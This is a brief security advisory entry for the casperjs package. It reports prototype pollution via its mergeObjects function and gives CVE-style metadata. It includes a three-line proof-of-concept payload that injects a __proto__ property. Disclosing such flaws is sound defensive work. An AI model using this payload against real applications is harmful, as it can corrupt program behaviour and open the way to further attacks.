casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.
var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"
{ "nvd_published_at": "2020-06-19T11:15:00Z", "cwe_ids": [ "CWE-1321", "CWE-915" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2021-05-11T22:26:54Z" }